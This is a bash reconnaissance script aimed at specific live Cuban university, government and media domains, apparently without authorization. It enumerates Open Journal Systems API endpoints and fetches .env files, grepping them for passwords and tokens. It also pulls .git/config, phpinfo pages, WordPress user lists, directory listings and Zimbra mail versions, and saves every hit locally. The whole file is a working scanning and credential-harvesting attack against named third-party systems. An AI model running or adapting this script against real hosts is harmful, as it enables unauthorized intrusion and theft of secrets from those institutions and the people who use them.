#!/bin/bash
OUTDIR="/tmp/uni-probe/ojs-deep"
mkdir -p "$OUTDIR"

echo "=== OJS DEEP PROBE ==="
echo "Date: $(date -u)"

# cienciaydeporte.reduc.edu.cu - OJS with directory listing
BASE="https://cienciaydeporte.reduc.edu.cu"
echo ""
echo "=== cienciaydeporte.reduc.edu.cu ==="

# Enumerate API v1 subdirectories
for dir in _submissions _email _payments _dois _library _i18n _uploadPublicFile announcements contexts dois emailTemplates emails files issues jobs reviews site stats submissions temporaryFiles users vocabs highlights institutions; do
  resp=$(curl -sk -o /tmp/ojs_resp -w "%{http_code}|%{size_download}" --connect-timeout 5 --max-time 15 "${BASE}/api/v1/${dir}/" 2>/dev/null)
  code=$(echo "$resp" | cut -d'|' -f1)
  size=$(echo "$resp" | cut -d'|' -f2)
  echo "[$code|${size}B] /api/v1/${dir}/"
  if [ "$code" = "200" ] && [ "$size" -gt 50 ] 2>/dev/null; then
    cp /tmp/ojs_resp "$OUTDIR/reduc-api-v1-${dir}.txt"
    head -c 2000 /tmp/ojs_resp
    echo ""
    echo "---"
  fi
done

# Check for .env, config files, common OJS paths
echo ""
echo "=== OJS Sensitive Files ==="
for path in "/.env" "/.git/HEAD" "/config.inc.php" "/dbscripts/" "/config.TEMPLATE.inc.php" "/docs/" "/tools/" "/lib/" "/plugins/" "/public/" "/files/" "/cache/"; do
  resp=$(curl -sk -o /tmp/ojs_resp -w "%{http_code}|%{size_download}" --connect-timeout 5 --max-time 10 "${BASE}${path}" 2>/dev/null)
  code=$(echo "$resp" | cut -d'|' -f1)
  size=$(echo "$resp" | cut -d'|' -f2)
  echo "[$code|${size}B] ${path}"
  if [ "$code" = "200" ] && [ "$size" -gt 50 ] 2>/dev/null; then
    safename=$(echo "$path" | tr '/:.' '_')
    cp /tmp/ojs_resp "$OUTDIR/reduc-file${safename}.txt"
    if echo "$path" | grep -qi "env\|config\|git"; then
      head -c 3000 /tmp/ojs_resp
      echo ""
    fi
  fi
done

# Check other OJS instances we know about
echo ""
echo "=== OTHER OJS INSTANCES ==="
for host in "revista.ismm.edu.cu" "revistas.unah.edu.cu" "deporvida.uho.edu.cu" "ediciones.inca.edu.cu"; do
  echo "--- $host ---"

  # Check if OJS
  resp=$(curl -sk -o /tmp/ojs_resp -w "%{http_code}|%{size_download}" --connect-timeout 5 --max-time 10 "https://${host}/" 2>/dev/null)
  code=$(echo "$resp" | cut -d'|' -f1)
  size=$(echo "$resp" | cut -d'|' -f2)
  echo "  / -> [$code|${size}B]"

  # Check sensitive paths
  for path in "/.env" "/.git/HEAD" "/api/v1/users" "/api/v1/submissions" "/api/v1/contexts" "/config.inc.php" "/dbscripts/" "/public/" "/files/"; do
    resp=$(curl -sk -o /tmp/ojs_resp2 -w "%{http_code}|%{size_download}" --connect-timeout 5 --max-time 10 "https://${host}${path}" 2>/dev/null)
    code=$(echo "$resp" | cut -d'|' -f1)
    size=$(echo "$resp" | cut -d'|' -f2)
    if [ "$code" = "200" ] && [ "$size" -gt 50 ] 2>/dev/null; then
      echo "  [HIT] ${path} ($code, ${size}B)"
      safename=$(echo "${host}${path}" | tr '/:.' '_')
      cp /tmp/ojs_resp2 "$OUTDIR/ojs-${safename}.txt"
      if echo "$path" | grep -qi "env\|config\|git\|users"; then
        head -c 2000 /tmp/ojs_resp2
        echo ""
      fi
    elif [ "$code" = "403" ]; then
      echo "  [403] ${path}"
    fi
  done

  # Check directory listing on /api/
  resp=$(curl -sk -o /tmp/ojs_resp3 -w "%{http_code}|%{size_download}" --connect-timeout 5 --max-time 10 "https://${host}/api/" 2>/dev/null)
  code=$(echo "$resp" | cut -d'|' -f1)
  size=$(echo "$resp" | cut -d'|' -f2)
  if [ "$code" = "200" ]; then
    echo "  [API-DIR] /api/ ($code, ${size}B)"
    head -c 1000 /tmp/ojs_resp3
    echo ""
  fi
done

echo ""
echo "=== PROBING MORE LIVE TARGETS ==="

# Check all remaining live domains for .env, .git, phpinfo, admin panels
# Focus on domains we haven't checked yet from the first scan
for host in \
  "aula.scu.sld.cu" \
  "aulacened.uci.cu" \
  "aulavirtual.elacm.sld.cu" \
  "cadcam.uho.edu.cu" \
  "cesoftad.uho.edu.cu" \
  "cloud.udg.co.cu" \
  "conferencia.uci.cu" \
  "copep.mes.gob.cu" \
  "correo.estudiantes.uci.cu" \
  "correo.estudiantes.uh.cu" \
  "correo.uci.cu" \
  "correo.udg.co.cu" \
  "correo.uh.cu" \
  "correo.umcc.cu" \
  "correo.uniss.edu.cu" \
  "correoest.umcc.cu" \
  "datys.uclv.edu.cu" \
  "debatiendo.uclv.edu.cu" \
  "docker.uclv.edu.cu" \
  "eddist.udg.co.cu" \
  "email.udg.co.cu" \
  "etecsa.cu" \
  "eventos.uci.cu" \
  "fec.uh.cu" \
  "fenhi.uh.cu" \
  "granma.cu" \
  "juventudrebelde.cu" \
  "minfar.gob.cu" \
  "onei.gob.cu" \
  "pcc.cu" \
  "moodle.umcc.cu" \
  "moodle.uho.edu.cu" \
  "moodle.ult.edu.cu" \
  "correo.uho.edu.cu" \
  "correo.ismm.edu.cu" \
  "antivirus.uclv.edu.cu" \
  "cnic.edu.cu" \
  "ecoi6.co.cu" \
  "antenas.co.cu" \
  "arquitcom.vc.co.cu"; do

  echo "--- $host ---"
  found=0
  for proto in https http; do
    # .env
    resp=$(curl -sk -o /tmp/t_resp -w "%{http_code}|%{size_download}" --connect-timeout 4 --max-time 8 "${proto}://${host}/.env" 2>/dev/null)
    code=$(echo "$resp" | cut -d'|' -f1)
    size=$(echo "$resp" | cut -d'|' -f2)
    if [ "$code" = "200" ] && [ "$size" -gt 20 ] 2>/dev/null; then
      if grep -qi "APP_KEY\|DB_PASSWORD\|MAIL_PASSWORD\|SECRET\|TOKEN\|REDIS\|MYSQL\|DATABASE_URL\|PASSWORD" /tmp/t_resp 2>/dev/null; then
        safename=$(echo "$host" | tr '.' '_')
        cp /tmp/t_resp "$OUTDIR/env-${safename}.txt"
        echo "  [CRIT-ENV] ${proto}://${host}/.env (${size}B)"
        head -c 2000 /tmp/t_resp
        echo ""
        found=1
      fi
    fi

    # .git/HEAD
    resp=$(curl -sk -o /tmp/t_resp -w "%{http_code}|%{size_download}" --connect-timeout 4 --max-time 8 "${proto}://${host}/.git/HEAD" 2>/dev/null)
    code=$(echo "$resp" | cut -d'|' -f1)
    size=$(echo "$resp" | cut -d'|' -f2)
    if [ "$code" = "200" ] && [ "$size" -gt 10 ] 2>/dev/null; then
      if grep -q "ref:" /tmp/t_resp 2>/dev/null; then
        echo "  [CRIT-GIT] ${proto}://${host}/.git/HEAD -> $(cat /tmp/t_resp)"
        curl -sk --connect-timeout 4 --max-time 8 "${proto}://${host}/.git/config" > "$OUTDIR/git-config-$(echo "$host" | tr '.' '_').txt" 2>/dev/null
        found=1
      fi
    fi

    # phpinfo
    resp=$(curl -sk -o /tmp/t_resp -w "%{http_code}|%{size_download}" --connect-timeout 4 --max-time 8 "${proto}://${host}/phpinfo.php" 2>/dev/null)
    code=$(echo "$resp" | cut -d'|' -f1)
    size=$(echo "$resp" | cut -d'|' -f2)
    if [ "$code" = "200" ] && [ "$size" -gt 500 ] 2>/dev/null; then
      if grep -qi "phpinfo\|PHP Version" /tmp/t_resp 2>/dev/null; then
        safename=$(echo "$host" | tr '.' '_')
        cp /tmp/t_resp "$OUTDIR/phpinfo-${safename}.html"
        echo "  [HIGH-PHPINFO] ${proto}://${host}/phpinfo.php (${size}B)"
        found=1
      fi
    fi

    # WP users
    resp=$(curl -sk -o /tmp/t_resp -w "%{http_code}|%{size_download}" --connect-timeout 4 --max-time 8 "${proto}://${host}/wp-json/wp/v2/users" 2>/dev/null)
    code=$(echo "$resp" | cut -d'|' -f1)
    size=$(echo "$resp" | cut -d'|' -f2)
    if [ "$code" = "200" ] && [ "$size" -gt 50 ] 2>/dev/null; then
      if grep -q '"id"' /tmp/t_resp 2>/dev/null; then
        safename=$(echo "$host" | tr '.' '_')
        cp /tmp/t_resp "$OUTDIR/wp-users-${safename}.json"
        echo "  [WP-USERS] ${proto}://${host}/wp-json/wp/v2/users (${size}B)"
        found=1
      fi
    fi

    # directory listing checks
    for dir in "/backup/" "/backups/" "/dump/" "/uploads/" "/files/" "/public/" "/media/" "/tmp/"; do
      resp=$(curl -sk -o /tmp/t_resp -w "%{http_code}|%{size_download}" --connect-timeout 4 --max-time 8 "${proto}://${host}${dir}" 2>/dev/null)
      code=$(echo "$resp" | cut -d'|' -f1)
      size=$(echo "$resp" | cut -d'|' -f2)
      if [ "$code" = "200" ] && [ "$size" -gt 200 ] 2>/dev/null; then
        if grep -qi "Index of\|directory listing\|<a href=" /tmp/t_resp 2>/dev/null; then
          echo "  [DIR-LIST] ${proto}://${host}${dir} (${size}B)"
          safename=$(echo "${host}${dir}" | tr '/:.' '_')
          cp /tmp/t_resp "$OUTDIR/dirlist-${safename}.html"
        fi
      fi
    done

    # Zimbra check for correo servers
    case "$host" in
      correo.*|mail.*)
        resp=$(curl -sk -o /tmp/t_resp -w "%{http_code}|%{size_download}" --connect-timeout 5 --max-time 10 "${proto}://${host}/zimbra/" 2>/dev/null)
        code=$(echo "$resp" | cut -d'|' -f1)
        if [ "$code" = "200" ] || [ "$code" = "302" ]; then
          echo "  [ZIMBRA] ${proto}://${host}/zimbra/ ($code)"
          # Get version from login page
          ver=$(curl -sk --connect-timeout 5 --max-time 10 "${proto}://${host}/" 2>/dev/null | grep -oP 'version["\s:=]+[^"<>]+' | head -3)
          if [ -n "$ver" ]; then
            echo "    Version: $ver"
          fi
        fi
        ;;
    esac

    [ "$found" -eq 1 ] && break
    # Check if proto works at all
    test_code=$(curl -sk -o /dev/null -w "%{http_code}" --connect-timeout 3 --max-time 5 "${proto}://${host}/" 2>/dev/null)
    if [ "$test_code" != "000" ]; then
      break
    fi
  done
done

echo ""
echo "=== FINAL FILES ==="
ls -la "$OUTDIR/"
wc -c "$OUTDIR/"* 2>/dev/null
